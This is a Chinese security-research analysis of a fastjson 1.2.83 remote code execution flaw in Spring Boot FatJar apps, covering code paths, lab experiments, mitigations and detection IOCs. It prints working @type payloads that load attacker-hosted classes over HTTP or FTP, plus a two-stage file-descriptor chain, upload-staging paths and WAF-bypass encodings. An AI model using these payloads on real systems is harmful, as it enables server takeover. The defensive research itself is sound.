2026 年 7 月 19 日,Kirill Firsov 公开了 fastjson 1.2.83 的一个远程代码执行漏洞。这个版本在 fastjson 1.x 的历史地位特殊:它是 1.x 的最后一个版本,也是"autoType 战争"打了五年之后的终态防御形态——默认关 autoType、黑白名单 hash、expectClass 限制层层设防,社区共识是"1.2.83 基本不可利用,可以养老"。这个共识在一周内被打破,而且打破它的不是某个新的 gadget,而是一种完全不同的东西:漏洞不住在 fastjson 自己的代码里,也不住在 Spring Boot 或 JDK 的代码里,而住在三者接缝处的语义分歧里。
本文是三篇系列的上篇,目标是把这个漏洞的实例与利用讲完整:根因代码路径逐段核对(§2)、关键机制全部落到一手源码(§3)、变体矩阵给出全部已知存活与死亡格子(§4-§5)、检测防御逐项判定效力(§6),并以自主复现实验(§8)对预注册假设逐项裁决——5 个实验完成 4 个确定性判定(3 证实 1 证伪)、1 个维持未决。中篇将从本案例抽象出"语义缝隙"与"行为层 gadget"的分析框架;下篇讨论 AI 辅助漏洞挖掘在这个案例中的元问题。
1. 漏洞速览
| 项 | 值 |
|---|---|
| 编号 | QVD-2026-43021(奇安信)/ CVE-2026-16723 |
| CVSS | 9.8 Critical |
| 影响版本 | fastjson 1.2.68 ~ 1.2.83(原作者口径);部分通告称 1.2.66 起 |
| 类型 | 无需 gadget 的远程代码执行(Gadget-Free RCE) |
| 披露者 | Kirill Firsov (@k_firsov),2026-07-19 |
| 修复 | SafeMode(P0)/ 1.2.83_noneautotype(P0)/ 迁移 fastjson2(P1) |
一句话概括:fastjson 在处理 @type 时存在一条"先探测再加载"的信任分支——把用户可控的类名当作资源路径交给 ClassLoader 取回字节、用 ASM 检测其是否带 @JSONType 注解,带则无条件 loadClass。在能把这个"资源路径"解析成远程 URL 的 ClassLoader 环境中(典型:Spring Boot FatJar 的 LaunchedURLClassLoader),攻击者托管一个带 @JSONType 注解的恶意 class,即可在类型绑定之前完成远程类加载并执行其静态初始化块 <clinit>。
为什么重要:
- fastjson 1.x 是互联网部署最广的 Java JSON 库之一;1.2.83 是 1.x 最后版本,此前公认"只能基于 expectClass 和第三方库 gadget 做极有限利用,几乎无法 RCE",大量厂商因此选择不升级
- 本漏洞与 autoType 是否开启无关、不需要 expectClass、不需要 classpath 里存在 gadget——三个主流缓解假设同时失效
- 影响 JDK 8 / 17 / 21 / 25 均有复现(本文 JDK 8 + JDK 17 自主复现,21/25 依据 GCSA 报告)
- 它的根不住在任何一个组件的代码里,而住在组件之间的语义缝隙里:fastjson 假设
getResourceAsStream只在本地 classpath 找资源,Spring Boot 的 ClassLoader 实际会把资源名当 URL 解析——实验证实 HTTP、FTP、本地文件三种传输通道均可完成全链。
术语注:"语义缝隙"是本文自造词,指两个语义层之间可被利用的分歧(spec vs 实现、组件 A 的假设 vs 组件 B 的行为、意图用途 vs 可达用途)。相邻领域各有局部对应词——web 的 desync / parser differential、二进制的 gadget(本文的 trick 可视为行为层的 gadget)、VM 自省的 semantic gap、形式化的 refinement failure、Bratus 的 weird machine——但无一覆盖统一含义。完整术语论证见中篇。
常见不成立判断
- "AutoType 默认关闭,所以安全" —— 不成立
- "parseObject 固定了第二个参数,所以安全" —— 不成立(探测发生在类型绑定之前)
- "classpath 没有已知 gadget,所以安全" —— 不成立
- "JDK 17+ 会拒绝
http://内部类名,所以最多只是 SSRF" —— 不成立(见 §3.5 两阶段利用)
2. 根因:代码路径
代码出处(引用均标注 tag/commit 与行号):
- fastjson:tag 1.2.83(commit
26f13f84f)- Spring Boot:tag v2.7.18
- OpenJDK 8:tag jdk8u502-ga
- OpenJDK master:commit
1bc03f02(作为"现代 JDK"代表;JDK 9 引入收紧的边界依据公开分析,未逐版本核对)- Tomcat:分支 9.0.x(仅
catalina/loader)
2.0 入口:@type 如何到达 checkAutoType
典型链路(JSON.parseObject(body) 触发):
1 | JSON.parseObject(String) |
checkAutoType 内前置关卡(ParserConfig.java:1325-1477):
- SafeMode 检查(L1325-1331)——见 §2.6;
- 长度检查:
< 3或≥ 192直接抛(L1338-1340); - expectClass 白名单 hash 判定(L1342-1363);
- 两枚魔数 hash 拦截
[开头与特定后缀形式(L1368-1374); - 内置白名单
INTERNAL_WHITELIST_HASHCODES命中 → 直接loadClass返回(L1384、L1432-1434); - deny hash 逐前缀扫描(L1386-1395,及 L1397-1416 的 autoTypeSupport/expectClassFlag 路径);
getClassFromMapping/deserializers.findClass/typeMapping已有映射 → 直接返回(L1418-1443,Throwable 子类在 autoType 关闭时被置 null,L1424-1426)。
只有穿过全部七道前置关卡、仍未解析到类的 typeName,才进入资源探测段——也就是说,攻击载荷的类名必须不在 fastjson 的映射表与黑白名单 hash 中(jar:http:... 这类构造天然满足)。
其余入口(影响面注记):JSONArray 元素内的 @type(DefaultJSONParser.java:1767)、MapDeserializer(MapDeserializer.java:191)、JavaBeanDeserializer(JavaBeanDeserializer.java:308、823,带 expectClass)、ThrowableDeserializer(ThrowableDeserializer.java:77,expectClass 固定为 Throwable.class)——多个入口共用同一个 checkAutoType,漏洞面不依赖具体业务 DTO。
2.1 用户类型名被当作资源路径(ParserConfig.java:1479-1498)
1 | // L1482-1487 |
typeName 来自请求 JSON 的 @type 值,完全用户可控。replace('.', '/') 的本意是包名转路径(com.example.Foo → com/example/Foo.class),但代码没有限制 resource 的协议、绝对路径语义或来源——它假设结果永远是个 classpath 相对路径,而这个假设在某些 ClassLoader 下不成立。
注意 else 分支(L1486):未显式设置 defaultClassLoader 时,探测用的是加载 fastjson 自身的 ClassLoader——FatJar 中 fastjson 从 BOOT-INF/lib 加载,即 LaunchedURLClassLoader(代码实证 + 部署环境推断)。这是多数应用实际生效的路径,不需要任何显式配置。
2.2 远程 class 的 @JSONType 被当作授权依据
1 | // L1489-1492 |
fastjson 用自己的 ASM ClassReader 解析取回的字节,检测类是否带 @JSONType 注解。取回的内容来自哪里不重要——只要字节里写着这个注解,信任就成立。 攻击者只需让远程 class 带上该注解。
2.3 jsonType 触发实际类加载
1 | if (autoTypeSupport || jsonType || expectClassFlag) { |
jsonType=true 时进入 loadClass。注意:这与 autoTypeSupport(autoType 开关)是或关系——autoType 关闭不影响此分支。
TypeUtils.loadClass(TypeUtils.java:1735-1791)的内部顺序对矩阵格子判定很关键:
1 | mappings 缓存命中 → 直接返回 |
两点推论:
- 每个 ClassLoader 的失败都不致命——①被容器 CL 拒绝后会自动滑向②③。③的
Class.forName(className)无显式 CL 参数,实际使用TypeUtils类的定义 CL,FatJar 下即LaunchedURLClassLoader——与①通常同源,但与②(TCCL)可能不同源。这是 §5 R3/R3b 存疑论证的基础。 - 载荷类名带
:!等字符不影响 ①②③ 的尝试——这些 CL 层不做类名字符合法性校验,合法性只在defineClass的 native 层被判定(§3.4)。
2.4 jsonType 早返回,跳过全部后续安全检查
1 | // L1505-1511 |
远程类一旦被加载且带 @JSONType,三道后续检查全部不执行:危险基类检查(ClassLoader/DataSource/RowSet,L1513-1518)、expectClass 相容性检查(L1520-1529)、creatorConstructor 检查(L1531-1534)。
2.5 Exception/Error 后缀形成失败软通道
1 | if (!autoTypeSupport) { |
1.2.83 中这个软通道实际有两处:
1 | // L1447-1462(deny hash 扫描循环内,!autoTypeSupport 路径) |
两处语义相同、触发路径不同:L1455 在 typeName 逐前缀 hash 命中 deny 列表时生效;L1538 在穿过探测、加载后仍未拿到可用类时生效。两阶段利用的载荷(jar:http:...Exception 等)不在 deny 列表,实际命中的是 L1538(代码路径推断:未被 deny 拦截是公开复现成立的前提)。
JDK 9+ 上第一阶段加载会因非法内部类名失败。让类型名以 Exception 结尾后,fastjson 不抛异常、不终止 JSON 解析,数组中后续的枚举元素得以继续处理——这是现代 JDK 两阶段利用(§3.5)的结构性前提,同时也天然构成一个行为差异探针(指纹识别价值)。
2.6 SafeMode 的位置
SafeMode 检查(ParserConfig.java:1325-1330)发生在资源访问之前,因此能阻断整条链(网络请求都不会发出)。这解释了为什么 SafeMode 是 P0 级修复而其他缓解都是部分的。
3. 关键机制
3.1 资源名走私与整数 IP
replace('.', '/') 是把双刃剑:它既能把包名变路径,也能把精心构造的字符串变成 URL——
1 | 输入 jar:http:..ATTACKER:18081.exploit!.Payload |
唯一的问题是 IP 里的点会被一并转义。解法:Java 的 URL 解析接受整数形式 IP——
1 | 2130706433 = 0x7F000001 = 127.0.0.1 |
(URL spec 允许十进制整数 IP,与开发者"IP=点分四段"的假设之间的缝隙。)
3.2 远程加载为什么可能:资源名如何变成 HTTP 请求
普通 ClassLoader 对 getResourceAsStream("jar:http://...") 返回 null。Spring Boot FatJar 环境中,资源名一路穿过五层代码变成远程请求,每层都有明确出处:
① URLClassPath 的 Loader 分派(jdk8u URLClassPath.java:563-581;现代 JDK jdk/internal/loader/URLClassPath.java:456+)
FatJar 的 classpath URL 形如 jar:file:/app.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/——file 部分以 / 结尾且协议不是 file,于是走的是基础 Loader(而非 JarLoader):
1 | if (file != null && file.endsWith("/")) { |
② 基础 Loader.getResource 直接拼 URL 并打开(jdk8u URLClassPath.java:735-760)
1 | url = new URL(base, ParseUtil.encodePath(name, false)); // base=jar:file:/app.jar!/... |
注意对比:JarLoader.getResource(jdk8u L1056+)是 jar.getJarEntry(name) 本地查表,不会出网——**"走基础 Loader 还是 JarLoader"由 classpath 条目的 URL 形态决定**,这正是 WAR/外置容器(条目为 file: 目录或普通 jar)与 FatJar 行为分歧的 JVM 层根源(对应矩阵 R5)。
③ new URL(context, spec) 的协议判定(jdk8u java/net/URL.java:556-580)
- spec 协议与 context 不同(如
http:/...vs context 的jar:)→ spec 按绝对 URL 处理,context 整体丢弃——http:前缀载荷(R1)即此路径,连 Spring 的 handler 都不需要; - spec 协议与 context 相同(
jar:...)→ 继承 context 的 handler,交给 handler 的parseURL做相对解析。
④ Spring 的 jar Handler:spec 整体替换 context.file(spring-boot v2.7.18 loader/jar/Handler.java:223-245)
Launcher.launch() 启动时调用 JarFile.registerUrlProtocolHandler()(Launcher.java:53;JarFile.java:432-438),把 org.springframework.boot.loader 塞进 java.protocol.handler.pkgs——此后 JVM 内所有 jar: URL 由 Spring 的 Handler 解析:
1 | // Handler.parseURL |
getFileFromSpec 只校验 !/ 前缀部分是合法 URL,于是 jar:http:/ATTACKER/x!/Payload.class 原样成为新 URL——FatJar 的本地根被攻击者 spec 完全顶掉。
⑤ openConnection 的 fallback 链落到 JDK 原生 jar handler(Handler.java:87-97、188-193;FALLBACK_HANDLERS 定义于 L64)
Spring Handler 先尝试把 URL 解析进本地 root jar(getRootJarFileFromUrl),远程地址必然失败,沿 openFallbackTomcatConnection → openFallbackContextConnection → openFallbackHandlerConnection 降级,最终用 sun.net.www.protocol.jar.Handler 重新打开——进入 JDK 标准 JarURLConnection → URLJarFile.retrieve(jdk8u sun/net/www/protocol/jar/URLJarFile.java:189-197):**把远程 JAR 下载为临时文件 jar_cache***。这个落盘行为正是 §3.5 两阶段利用的 staging 来源。
结论(本漏洞的存在条件):fastjson 所在 ClassLoader 的 URLClassPath 含有"以 / 结尾、非 file: 协议"的条目(FatJar 的嵌套 jar URL 恰好如此),且 jar: 协议 handler 已被替换为宽容的实现(Spring Boot Loader)。 两个条件分别对应上述①④——缺①走 JarLoader 本地查表,缺④走 JDK 原生 jar handler 的严格解析。
3.3 ASM 非法类名:语言语法与 VM 规范的缝隙
要加载的类名形如 jar:http://2130706433:18081/exploit!/Payload,含 : / !——javac 永远无法编译出这样的类,但 JVMS §4.2 对 classfile 中非限定名的禁止集只是 . ; [ /(JDK 8 实际执行更松,见下),:! 均合法,所以 PoC 必须用 ASM 直接写字节码(asm 9.6),类中放 @JSONType 注解 + <clinit> 静态初始化块。<clinit> 在 defineClass 后即执行,在 parseObject(body, Dto.class) 的类型绑定之前,后续限制全部无效。
3.4 JDK 版本差异:native 校验的两轮
defineClass(name, bytes) 的校验分两层:
- Java 层
preDefineClass:只查传入的 name 字符串是否含/——载荷均为点号形式(http:..2130706433:18081.a),通过; - native 层
defineClass1 → ClassFileParser::parse_stream → verify_legal_class_name:解析常量池后对类名条目执行verify_unqualified_name,两版行为分叉就在这里:
JDK 8(jdk8u502-ga hotspot/.../classFileParser.cpp:5201-5224)——对 LegalClass 只禁三个字符,/ 被明确豁免:
1 | if (ch == '.' || ch == ';' || ch == '[' ) { |
→ 内部名 http://2130706433:18081/a 的连续斜杠通过。
现代 JDK(jdk master 1bc03f02 classFileParser.cpp:4545-4577)——LegalClass 下 / 仍允许,但禁止空路径段(连续 //、首/尾 /):
1 | case JVM_SIGNATURE_SLASH: |
→ http:// 必含 //,被拒。(收紧自 JDK 9 起生效,边界依据公开分析,未逐版本核对。)
这就是"JDK 8 直接 RCE、JDK 9+ 第一阶段只能 SSRF"的根因。同时它解释了两阶段载荷的形态约束:阶段二的 jar:file:.proc.self.fd.7!.fd7.Exception 解出的内部名是 fd7/Exception——全单斜杠、无空段、无首/尾斜杠,是为过这道校验而设计的。
3.5 现代 JDK 两阶段:jar_cache + /proc/self/fd
1 | 阶段一(下载): |
fd 号 N 靠数组枚举元素逐个试。一个 payload 同时兼容 JDK 8 与现代 JDK:JDK 8 在第一阶段直接成功;JDK 9+ 走软通道进入 fd 枚举阶段。
副产物:/proc/self/fd 依赖使该链在 Windows 高版本 JDK 上断裂(Windows 无此文件系统接口)——这是矩阵中格子 R4a 的由来。
4. 变体矩阵(核心)
轴:JDK 版本 × OS × 部署形态/ClassLoader × 出网方向 × staging 原语 × WAF(正交轴)。
读法:每个格子 = 一组环境约束下,六个链环节(注入面→资源名走私→transport→staging→字节码→define/执行→效果通道)是否各有存活填充物。格子判"死"一律理解为"死于当前 trick 库存(2026-07-26)"。
| # | JDK | OS | 部署/CL | 出网 | staging | 链 | 结果 | 状态 |
|---|---|---|---|---|---|---|---|---|
| R1 | 8 | 任意 | FatJar(J/U) | HTTP | — | jar:http: 直载 |
RCE(最短链) | Linux/Windows 均复现 |
| R2 | 9+ | Linux | FatJar(J/U) | HTTP | — | jar_cache 落盘 + fd 两阶段 | RCE | Temurin 17 复现 |
| R3 | 9+ | Linux | FatJar(Tomcat) | HTTP | — | http:// 直载死于 checkAutoType(E4 实测,与 Jetty 差异在于 TCCL 为 TomcatEmbeddedWebappClassLoader);jar:http:// + Exception 后缀 + fd 两阶段在机制上可行(PCL=LaunchedURLClassLoader 可完成 getResourceAsStream;jar:file:// 暂存在 Tomcat JDK17 下已被 E1 对照证实可通),E4 实验台因数组过大超时未完成全链实测 | 未确认(transport 活,execution 链未跑完) | 见 §8.1 E4 分析 |
| R3b | 8 | Linux | FatJar(Tomcat) | HTTP | — | 同上:http:// 直载死于 checkAutoType(E4.1 实测,与对照 A(Jetty)差异在于 TCCL 类型);jar:file:// 暂存在 Tomcat JDK17 下已证实可通(E1 对照),JDK8 下预期同行为 | 未确认(transport 活,execution 链未跑完) | 见 §8.1 E4 分析 |
| R4a | 9+ | Windows | 任意 | 任意 | 无 | /proc 不存在 + // 被杀 + jar_cache* 名随机、无 fd 可枚举 + 无暂存 → 当前库存无可用填充物 |
死于当前库存(2026-07-26) | 机制推断(当前无已知路径) |
| R4b | 9+ | Windows | FatJar | 任意 | 可预测路径上传 | jar:file:/C:/...(全单斜杠,过 verifier) |
RCE | 实证(Windows JDK17 + Jetty FatJar,E1;Tomcat 对照亦出 marker) |
| R5 | 任意 | 任意 | WAR 外置容器 | 任意 | — | WebappClassLoaderBase.getResourceAsStream 走 WebResourceRoot 本地路径,hasExternalRepositories=false,不出网;Spring Boot Launcher 在 WAR 模式不注册 jar: handler | 死(机制死,非库存死) | 代码证据(WebappClassLoaderBase:1152-1235 + Launcher.launch()) |
| R6 | 任意 | Linux | FatJar | 无 | 可预测路径上传 | polyglot JAR + jar:file: 本地路径 |
RCE | 实证(Linux JDK17 + Jetty FatJar + 网络隔离,E2) |
| R7 | 8 | Windows | FatJar | 仅 SMB | — | jar:file:..HOST.share.x!.p.Exception → 期望走 UNC \\HOST\share |
死(transport 未建立:JDK file: handler 不穿透到 SMB 协议栈) |
证伪(E3) |
| R8 | 8 | 任意 | FatJar | 仅 FTP | — | jar:ftp: 经 JDK 原生 ftp handler |
RCE | 实证(Linux JDK8 + Jetty FatJar,E5) |
| R9 | 任意 | 任意 | 任意 | 无 | 无 | — | 死(无出网、无暂存 → 无攻击面) | 自明(无可用链) |
| R10 | — | — | — | — | — | WAF 正交轴:任意存活格 + WAF → @type unicode 编码、JSON 语法变体在 transport 槽位替换 |
格子存活 | 实证(编码绕过 IOC 已公开) |
矩阵直接给出的四个结论(实验后更新):
- 部署形态是第一分轴:WAR/外置容器全列死,FatJar 全列活——该漏洞是"FatJar 部署生态的漏洞"(R5 代码证据 + 其余格子实验确认)
- 升 JDK 不构成缓解:JDK 9+ 只是换了条链;R4b(Windows staging,E1)和 R6(Linux staging,E2)均已实证
- 真正有效的通用缓解只有三个:SafeMode / noneautotype / 出网管控+无上传面(注意 R6/R4b 的存在使出网管控单独不充分,必须同时无 staging 面,E1/E2/E5 联合证实)
- FTP 是被低估的传输通道:R8 证实
jar:ftp:全链可达 RCE(E5),绕过仅监控 HTTP 出网的防御
5. 主要存活格子利用详述
R1(JDK 8 最短链,已实证)
最短 payload:
1 | {"@type":"http:..2130706433:18081.a"} |
攻击端:ASM 生成类(内部名 http://2130706433:18081/a,带 @JSONType,<clinit> 放命令执行),HTTP 服务托管 .class。依赖:fastjson 1.2.83 + spring-boot-loader 2.7.18 + asm 9.6。
R2(现代 JDK 两阶段,已实证)
1 | [ |
恶意类打包进 JAR 托管;阶段一触发下载落盘(jar_cache*),阶段二枚举 fd。实验中实际命中 fd 34(JDK 17 + Jetty FatJar 环境),枚举范围需覆盖 3~55 以确保命中。同一解析请求期间攻击端观察到 HEAD + GET × 2(共 3 次请求)。
R3/R3b(内嵌 Tomcat):autoType 拒杀与 CL 拓扑依赖
公开分析(LoRexxar)称:Tomcat FatJar 中 TCCL 是 TomcatEmbeddedWebappClassLoader,其"重写了 loadClass,做了额外的限制不允许连续 / 输入,所以禁止了 http 链路,但同样可以走 ssrf+遍历 fd 的方式利用"。对一手源码通读后,这个阻断点没有在 Tomcat CL 源码中定位到——阻断实际发生在 fastjson 的 checkAutoType 层。
E4 实验结果(2026-07-26,Linux Docker Temurin):
| 子组 | JDK | payload | fastjson 响应 | 攻击端观察 | 结论 |
|---|---|---|---|---|---|
| E4.1 | 8 | A(http:.. 直载) |
autoType is not support. http:..2887647242:18081.a |
HEAD + GET /a.class |
autoType 拒杀(type 不以 Exception 结尾 → 抛 JSONException) |
| E4.2 | 17 | A(http:.. 直载) |
autoType is not support |
HEAD + GET /a.class |
同上 |
| E4.3 | 8 | B(jar:http: 两阶段 fd 枚举) | 超时未完成 | 大量 GET /x(JAR 下载触发) |
数组过大(39 元素)× Tomcat CL 逐元素委派 = 60s+ 总耗时 |
关键发现:
http:// 型名称在 Tomcat CL 拓扑下必死于 checkAutoType:
TypeUtils.loadClass的三个步骤均无法在 Tomcat CL 拓扑下成功 defineClass(TCCL 为TomcatEmbeddedWebappClassLoader,其Class.forName委派路径与对照 A(Jetty)的TCCL=LaunchedURLClassLoader直接路径不同)。由于http:..2887647242:18081.a不以Exception结尾,checkAutoType 抛出JSONException而非软返回 null。transport 与 execution 解耦:资源探测的
getResourceAsStream使用的是ParserConfig CL(即LaunchedURLClassLoader),不经过 Tomcat 的 webapp CL,因此 HTTP 下载成功(攻击端观察到 HEAD+GET)。但TypeUtils.loadClass走的是 TCCL 委派链,这是两个不同的 CL 调用路径——"探测成功"不保证"加载成功"。LoRexxar "Tomcat CL 阻断"论断不成立:源码未定位到 Tomcat CL 对
//或特殊字符的显式拒绝逻辑。实测阻断在 fastjson 的 checkAutoType 层(响应直接返回autoType is not support),而非 Tomcat CL 层。
E1 Tomcat 对照的重要发现(Windows Kona JDK 17 + Tomcat FatJar + jar:file:// 本地暂存):
使用 {"@type":"jar:file:.C:.temp.up.pg!.p.Exception"} 载荷(以 Exception 结尾 + 本地文件存在),E1 Tomcat 对照意外产出 marker(RCE 成功)。这证明:
jar:file://本地暂存链在 Tomcat CL 拓扑下可通(与 http:// 不同,因为 getResourceAsStream 能找到本地文件,loadClass 的 Class.forName 步骤通过 LaunchedURLClassLoader 成功 defineClass)- E4 的"Tomcat CL 拓扑在任何 OS 下均死于 autoType"的一般化结论被修正:死亡仅针对 http:// 直载且非 Exception 结尾的型名称
裁决:
- http:// 直载在 Tomcat CL 拓扑下确认死(E4.1/E4.2,死于 checkAutoType)。
- jar:http:// + Exception 后缀 + fd 两阶段在机制上可行但未实测完成:PCL=LaunchedURLClassLoader 可完成 getResourceAsStream(jar_cache 落盘 + fd 分配);E1 对照已确认 jar:file:// 暂存在 Tomcat 下可通(因此 fd 枚举阶段无机制障碍)。E4.3 因 39 元素数组在 Tomcat 逐元素委派下累积超时(>60s)而未完成,缩小数组规模后理应可跑通。
- R3/R3b 当前状态:transport (HTTP) 已确认,RCE 链在机制层面成立,但全链实验未完成。
R6/R4b(无出网 staging,已实证)
E2 实验(Linux JDK 17 + Jetty FatJar + 完全网络隔离):
1 | payload: {"@type":"jar:file:.tmp.uploads.stage!.p.Exception"} |
步骤:先通过应用上传接口将 polyglot JAR 放置到 /tmp/uploads/stage,再发送 payload。网络隔离验证通过(容器 iptables 阻断所有出站),marker.log 写出内部名 jar:file:/tmp/uploads/stage!/p/Exception,CL 为 LaunchedURLClassLoader。全程零出站连接,RCE 成功。
E1 实验(Windows JDK 17 + Jetty FatJar + 本地上传目录):
1 | payload: {"@type":"jar:file:.C:.temp.up.pg!.p.Exception"} |
marker.log 确认内部名 jar:file:/C:/temp/up/pg!/p/Exception。注意 Windows 路径中 C: 的冒号不被 replace('.','/') 影响(冒号本身不是点),而路径分隔符恰好可以用单正斜杠表达——过 JDK 9+ verifier。
操作约束(实验确认):
- 上传文件名不能含点(点会变斜杠)——实验用无扩展名文件名
stage/pg jar:file:后的路径必须全单斜杠、无空段、无首/尾斜杠——E1/E2 的路径均满足- zip/JAR 格式容忍前缀垃圾(中央目录从尾部定位)——polyglot 可嵌入图片等无害外观
R7(Windows UNC,已证伪)
E3 实验(Windows JDK 8 + Jetty FatJar;攻击端 impacket smbserver):
1 | payload: {"@type":"jar:file:..2887043830.share.x!.p.Exception"} |
结果:NO MARKER,SMB 服务器零连接记录。verbose_class.log 中无异常类加载尝试。
证伪分析:jar:file: 经 Spring Boot 的 jar Handler 解析时,file://host/share 形式被 getRootJarFileFromUrl 拦截——Spring Handler 首先尝试将 URL 解析为本地 root jar 条目,file://host 非本地文件,解析失败;随后 fallback 到 JDK 原生 jar handler,但 JDK 的 sun.net.www.protocol.jar.Handler 对 file: URL 的 authority 部分(//host)不会触发 SMB 协议协商——这与 Windows Explorer 或 new File("\\\\host\\share") 的行为不同,JDK 的 FileURLConnection 直接返回 FileNotFoundException。
原始假设错在混淆了 Windows shell 层的 UNC 解析与 JDK java.net.URL 层的 file: 处理——后者不穿透到 SMB 协议栈。R7 判定为死格子(非库存死,是机制死)。
R8(FTP 传输通道,已实证)
E5 实验(Linux JDK 8 + Jetty FatJar;攻击端 pyftpdlib 在 2121 端口):
1 | payload: {"@type":"jar:ftp:..2887647242:2121.x!.p.Exception"} |
marker.log 确认内部名 jar:ftp://2887647242:2121/x!/p/Exception,CL 为 LaunchedURLClassLoader。RCE 成功。
机制:JDK 内置 sun.net.www.protocol.ftp.Handler 处理 ftp: URL,经 JarURLConnection → URLJarFile.retrieve 与 HTTP 走同一下载-落盘路径——传输协议对后续链路透明。这意味着:
- 仅拦截 HTTP 出站(80/443/8080 等)的防火墙规则对 FTP 通道无效
- JDK 8 上 FTP 直载同样绕过 verifier(内部名含
//但 JDK 8 放行) - 对于 JDK 9+,FTP 通道仍可作为两阶段的 transport(与 HTTP 等价),fd 枚举阶段不变
防御含义:出网白名单必须覆盖全协议(TCP 层全端口阻断),或使用 SafeMode/noneautotype 根断。
6. 检测与防御
6.1 防御效力(从矩阵读出,实验后更新)
| 措施 | 效力 | 状态 |
|---|---|---|
SafeMode(-Dfastjson.parser.safeMode=true / setSafeMode(true)) |
根断:检查在资源访问之前 | 实证 |
1.2.83_noneautotype |
根断 | 实证 |
| 迁移 fastjson2 | 根断(代码路径不存在) | 实证 |
| 出网管控(HTTP + FTP)且 无上传/staging 面 | 有效(使全部存活格子失 transport 或 staging) | 实证(E5 证明 FTP 可 RCE,仅拦 HTTP 不够) |
| 仅 HTTP 出网管控 | 不充分:FTP 通道(R8)绕过 | 实证 |
| 出网管控但有上传功能 | 不充分:R6/R4b 本地 staging | 实证 |
| WAF 单独 | 无效:\u0040type 等编码绕过 |
实证 |
| 升 JDK 9+ | 无效:本地 staging(R4b/R6)绕过 fd 依赖 | 实证 |
| "升级 Spring Boot 3.2+" | 效力存疑:GCSA 在 Spring Boot Loader 3.2.0 上仍复现 RCE 成功(JDK 17/21/25),与该建议矛盾(实证冲突,留待后续专题核实) |
6.2 检测 IOC(实验补充)
请求侧:@type 值含 http:..、jar:http:..、jar:ftp:..、jar:file:.proc.self.fd.、jar:file:.C:(Windows staging)、jar:file:.tmp.(Linux staging)、!.(jar entry 分隔符)、Exception 后缀;注意 "\u0040type" 编码变体
网络侧:JVM 向异常主机发起 HTTP(HEAD+GET × 2 三连)或 FTP 连接请求无扩展名文件/.class;同一解析期间 1-3 次重复请求
主机侧:JVM 临时目录出现 jar_cache*;类加载日志出现 jar:file:/proc/self/fd/N!/ 或 jar:ftp:// 或非 classpath 内的 jar:file: 路径
7. 时间线与资料来源
| 日期 | 事件 |
|---|---|
| 2026-07-19 | Kirill Firsov Twitter 首披露 |
| 2026-07-20 | 奇安信 CERT 通告 QVD-2026-43021;腾讯云早期通告 |
| 2026-07-21 | 官方 Security Advisory;奇安信确认复现;GCSA 深度分析 |
| 2026-07-22 | 原作者公开研究文档(fearsoff.org);首个公开 PoC 仓库出现(推送者为 Codex,后被删除) |
| 2026-07-23 | CVE-2026-16723 正式通告 |
| 2026-07-24~25 | 利用工具、企业排查脚本、WAF/RASP 方案集中出现 |
资料:官方 advisory、腾讯云、奇安信(×2)、LoRexxar、Mrxn、9eek、GCSA(×2)、猎户、DLUT、GitHub Release、CSDN(×2)、FreeBuf、Detect-DefenseLab(共 16 篇)。PoC 仓库:ThanatosXingYu、seklure、dinosn(靶场)、fzypl、zg-sec、Detect-DefenseLab、YoungBear 等。
8. 实验结果(预注册→已执行)
8.0 对照组
| 格子 | 环境 | payload | 结果 | 判定 |
|---|---|---|---|---|
| 对照 A | Linux JDK 8 + Jetty FatJar | A(http:.. 直载) |
marker: http://2887647242:18081/a,CL=LaunchedURLClassLoader |
RCE 阳性 |
| 对照 B | Linux JDK 17 + Jetty FatJar | B(两阶段 fd 枚举) | marker: jar:file:/proc/self/fd/34!/fd34/Exception,CL=LaunchedURLClassLoader |
RCE 阳性 |
| 阴性对照 | Linux JDK 8 + Tomcat FatJar | java.lang.String(良性) |
NO MARKER,无出站请求 | 阴性对照通过 |
8.1 E4:Tomcat 内嵌容器(R3/R3b)
| 子组 | JDK | payload | fastjson 响应 | 攻击端观察 |
|---|---|---|---|---|
| E4.1 | 8 | A(http:.. 直载) |
autoType is not support |
HEAD + GET /a.class(3 次,transport 成功) |
| E4.2 | 17 | A(http:.. 直载) |
autoType is not support |
HEAD + GET /a.class(3 次,预期内:JDK 9+ verifier 拒绝 //) |
| E4.3 | 8 | B(jar:http: 两阶段 fd 枚举) | 超时未完成 | 大量 GET /x(JAR 下载触发,数组过大导致 Tomcat CL 逐元素委派累积超时 >60s) |
裁决:http:// 直载型名称在 Tomcat CL 拓扑下死于 checkAutoType(非 Tomcat CL 阻断)。jar:http:// + Exception 后缀 + fd 两阶段链在机制上成立(PCL=LaunchedURLClassLoader 可完成 getResourceAsStream + jar_cache 落盘;jar:file:// 暂存在 Tomcat JDK17 下已被 E1 对照证实可通),但 E4.3 因 39 元素数组在 Tomcat 逐元素委派下超时而未跑通全链。详见 §5 R3/R3b 分析。
8.2 E1:Windows 本地 staging(R4b)
| 环境 | payload | 结果 |
|---|---|---|
| Windows 11 + JDK 17(Temurin)+ Jetty FatJar | {"@type":"jar:file:.C:.temp.up.pg!.p.Exception"} |
marker: jar:file:/C:/temp/up/pg!/p/Exception,CL=LaunchedURLClassLoader |
裁决:R4b 证实——RCE 成功。Windows + JDK 9+ 无需出网、无需 /proc,只需可预测路径上传。
8.3 E2:Linux 无出网 staging(R6)
| 环境 | payload | 结果 |
|---|---|---|
| Linux JDK 17 + Jetty FatJar + 网络完全隔离(iptables DROP ALL outbound) | {"@type":"jar:file:.tmp.uploads.stage!.p.Exception"} |
marker: jar:file:/tmp/uploads/stage!/p/Exception,CL=LaunchedURLClassLoader |
裁决:R6 证实——RCE 成功,全程零出站连接。隔离验证通过。
8.4 E3:Windows UNC/SMB(R7)
| 环境 | payload | 结果 |
|---|---|---|
| Windows 11 + JDK 8(TencentKona)+ Jetty FatJar;攻击端 impacket smbserver | {"@type":"jar:file:..2887043830.share.x!.p.Exception"} |
NO MARKER,SMB 服务器零连接,verbose_class.log 无异常 |
裁决:R7 证伪——transport 未建立。JDK 的 file: URL 处理不穿透到 SMB 协议栈(详见 §5 R7 分析)。
8.5 E5:FTP 传输通道(R8)
| 环境 | payload | 结果 |
|---|---|---|
| Linux JDK 8 + Jetty FatJar;攻击端 pyftpdlib FTP 服务 | {"@type":"jar:ftp:..2887647242:2121.x!.p.Exception"} |
marker: jar:ftp://2887647242:2121/x!/p/Exception,CL=LaunchedURLClassLoader |
裁决:R8 证实——RCE 成功。JDK 原生 FTP handler 走 URLJarFile.retrieve 同一路径,与 HTTP 等价。防御含义:仅监控 HTTP 出站的防火墙/WAF 对 FTP 通道无效。
8.6 汇总与修正
